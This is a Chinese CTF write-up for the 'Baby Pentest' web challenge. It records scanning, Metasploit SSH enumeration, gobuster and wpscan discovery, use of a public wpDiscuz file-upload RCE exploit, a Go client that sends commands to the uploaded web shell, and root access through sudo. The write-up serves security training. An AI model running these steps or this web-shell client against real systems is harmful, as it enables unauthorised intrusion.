---
# System prepended metadata

title: is1ab 新生盃 WEB：Baby Pentest
tags: [新生盃, is1abCTF-note]

---

##### tags:`新生盃` `is1ab-note`

# is1ab 新生盃 WEB：Baby Pentest

<style>
.red {
  color: red;
}
.blue {
  color: blue;
}
.purple {
  color: #7D3382;
}
.light_purple {
  color: #810cf5;
}
</style>

<span class=""></span>

## <span class="red">題目</span>

- ![image](https://hackmd.io/_uploads/S1LEbRwsxx.png)

## <span class="red">解題過程</span>

1. **根據題目名稱，以及底下訊息說明有提到 port ，針對 `IP=45.130.165.186` 先用了 
`rustscan -a 45.130.165.186 --scripts none --ulimit 5000 -r 1-65535` 
掃描有哪些開啟的 port ，發現了除了題目說的 port 22 還有一個 22 port**

- ![image](https://hackmd.io/_uploads/rJHeqRwoeg.png)

&emsp;

2. **於是我就用 nmap 的攻擊模式 `(-A)` 去掃這個 port `(nmap -A -p 2222 45.130.165.186)` ，找到 `OpenSSH 7.9p1 Debian 10` 這個版本，並且服務這欄是 SSH**

- ![image](https://hackmd.io/_uploads/ByTFc0vjgg.png)

&emsp;

3. **我打算用 `metasploit` 來進行一些觀察，在 
`sudo apt install metasploit-framework` 
完成後，可以用 `search ssh` 先查詢 ssh 有哪些模組可以使用，其中就有 `ssh login` 相關 (ssh 我的第一個反應就是連線)。於是用 
`use auxiliary/scanner/ssh/ssh_enumusers` 
選擇這個模組，然後再用 `show options` 看需要設定哪些參數**

- ![image](https://hackmd.io/_uploads/rkYVX1Osxg.png)
- ![image](https://hackmd.io/_uploads/Byywskuoxx.png)
- ![image](https://hackmd.io/_uploads/rkpXn1dige.png)

&emsp;

4.  **針對 USERFILE 我用的是 seclist 中 Usernames 目錄底下的字典檔，但是都出現 `throws false positive result` ，所以我打算直接用 `use auxiliary/scanner/ssh/ssh_enumusers` 這個模組做登錄爆破**

- ![image](https://hackmd.io/_uploads/SJUYCJOsxg.png)
- ![image](https://hackmd.io/_uploads/r1f30k_ixx.png)

&emsp;

5. **但開 ticket 問之後，出題者說沒有人會爆 SSH 吧！！於是我另尋出路，在 CHW blogger 上有寫要關注附檔名。2222 port 剛剛掃過他是負責 SSH 連線的，所以應該是要把重點放在 `http://45.130.165.186:8080/` 原本的這個 port。用
`gobuster dir -url http://45.130.165.186:8080 --wordlist /usr/share/dirb/wordlists/common.txt -x php3,php4,phtml,php` 
掃完後發現 `/assets` 是 301 (重新定向)，所以我就去 `/assets` 並在底下發現了非常奇怪的內容，主要在 `http://45.130.165.186:8080/assets/fonts/blog/` 發現有很多 endpoint ，然後看起來是 css 沒有 fetch 到，所以我打算把這個 IP 加到 kali 的 `/etc/hosts` 再用 kali browser 看**

- ![image](https://hackmd.io/_uploads/HkSyYxOslg.png)
- ![image](https://hackmd.io/_uploads/rJm4RH_ixl.png)
- ![image](https://hackmd.io/_uploads/ryUUWZtogx.png)


&emsp;

6. **在 kali 的 browser 打開後應該就會長成底下的圖片，仔細觀察每個 Note 的 URL ，可以發現這是依靠 query string p 的值來做 GET ，所以就試試看能不能存取 `p=0 or p=1` 。發現 `p=0` 就是首頁， `p=1` 看起來就非常的可疑了**

- ![image](https://hackmd.io/_uploads/SJ0nbXFigg.png)
- ![image](https://hackmd.io/_uploads/rkJe7QYoge.png)
- ![image](https://hackmd.io/_uploads/B1TD7QKoxg.png)

&emsp;

7. **這個網頁點開會發現是一個 wordpress 的登入介面，因此先用 wp-scan 確定一下有哪些 wordpress 可能的 plugin 漏洞，找到兩個 plugin 可能有相關漏洞
(`wpscan --url http://blogger.chw:8080/assets/fonts/blog/ --enumerate p --plugins-detection aggressive --random-user-agent`)**

- ![image](https://hackmd.io/_uploads/H1Gq7mFoxx.png)
- ![image](https://hackmd.io/_uploads/SkzRk4Ksxx.png)

&emsp;

8. **用 ExploitDB 分別查找兩個 plugin 相關資訊。針對 Akismet 的兩個受影響版本分別是 `2.1.3` 和 `3.1.4 以下` ，而掃描出來的版本是 `5.5.0` 所以應該不是這個；接著是查看 wpdiscuz 這個 plugin ，猜測應該是這個，因為在最一開始 `/assets` 底下的 `mu-plugins` 就有這個的 PoC .php 檔，而當我查到影響版本 (`7.0.0 ~ 7.0.4`) 時也發現了當前版本 `7.0.4` 確實在影響之下**

- ![image](https://hackmd.io/_uploads/Byl8mEtill.png)
- ![image](https://hackmd.io/_uploads/HkUMf4Ysgg.png)
- ![image](https://hackmd.io/_uploads/B1x1v7NFolx.png)
- ![image](https://hackmd.io/_uploads/B1XmEEKiex.png)

&emsp;

9. **所以我查詢一下這篇的 PoC 像是 RCE ，下載後在可以留言的地方執行 PoC 並附帶參數 `python exploit_RCE.py -u http://45.130.165.186:8080/assets/fonts/blog/ -p ./?p=1` 
這樣就能把 payload script 丟到目標靶機，之後就能夠成功 RCE 了**

- ![image](https://hackmd.io/_uploads/ryDLJHtsle.png)
- ![image](https://hackmd.io/_uploads/SJZeQBFigl.png)

&emsp;

10. **因為單純用 curl 做回顯會很麻煩(例如有空格就需要 URL encode)，所以寫了一個 exploit.go ，然後把想要打的指令放在 `command := ""` 裡面，之後跑 `go run exploit.go`**

```go=
package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
)

func main() {
	// 目標 URL
	baseURL := "http://blogger.chw:8080/assets/fonts/blog/wp-content/uploads/2025/09/frmufgrnozwznsd.php"

	// 想要執行的指令 (這裡使用一個無害的 'id' 指令作為範例)
	// 在真實的滲透測試中，你會替換成其他指令
	command := "ps aux" 

	// 建立完整的請求 URL，並對指令進行 URL 編碼以避免特殊字元問題
	fullURL := fmt.Sprintf("%s?cmd=%s", baseURL, url.QueryEscape(command))

	fmt.Println("正在向以下 URL 發送請求:")
	fmt.Println(fullURL)

	// 發送 HTTP GET 請求
	resp, err := http.Get(fullURL)
	if err != nil {
		log.Fatalf("發送請求失敗: %v", err)
	}
	// 函式結束時關閉回應主體
	defer resp.Body.Close()

	fmt.Println("\n收到伺服器回應:")
	fmt.Printf("HTTP 狀態碼: %d %s\n", resp.StatusCode, http.StatusText(resp.StatusCode))
	
	// 讀取回應內容
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatalf("讀取回應內容失敗: %v", err)
	}

	// 將回應內容以字串形式印出
	fmt.Println("--- 回應內容開始 ---")
	fmt.Println(string(body))
	fmt.Println("--- 回應內容結束 ---")
}
```

&emsp;

11. **在 /home 底下拿到 `user_flag.txt` 。接著因為用 shell 連進去會是 www-data 權限，所以用 vagrant (通常會是測試帳號，而且只有 vagrant 有 `ssh key`)去 ssh 登入 `(ssh vagrant@blogger.chw -p 2222)`，試試看能不能直接提權 `(sudo su -)` ，結果就成功了**

- **user_flag : `NjkgNzMgMzEgNjEgNjIgNDMgNTQgNDYgN2IgMzUgMzAgNWYgNjggMzQgNzYgMzMgNWYgNzkgMzAgNzUgNWYK`**

- ![image](https://hackmd.io/_uploads/BJAvV3Fsgg.png)

- **root_flag : `NzYgMzEgMzMgNzcgMzMgNjQgNWYgNjMgNjggNzcgMjcgMzUgNWYgNjYgMzQgNjMgMzMgNjIgMzAgMzAgNmIgNWYgNzAgNzIgMzAgNjYgMzEgNmMgMzMgN2Q`**

- ![image](https://hackmd.io/_uploads/BJ54V3Ksgl.png)

&emsp;

12. **最後用 base64 把這兩個解出來後，發現是 16 進制編碼，之後在解就能拿到 flag 了**

- ![image](https://hackmd.io/_uploads/BJoIH3Kigl.png)
- ![image](https://hackmd.io/_uploads/SJNIw3Koxg.png)

- **flag🚩 : `is1abCTF{50_h4v3_y0u_v13w3d_chw'5_f4c3b00k_pr0f1l3}`**

&emsp;

## <span class="red">自我告解(心得)</span>

1. **我在一開始登入時沒有檢查 ssh 能不能用密碼登入**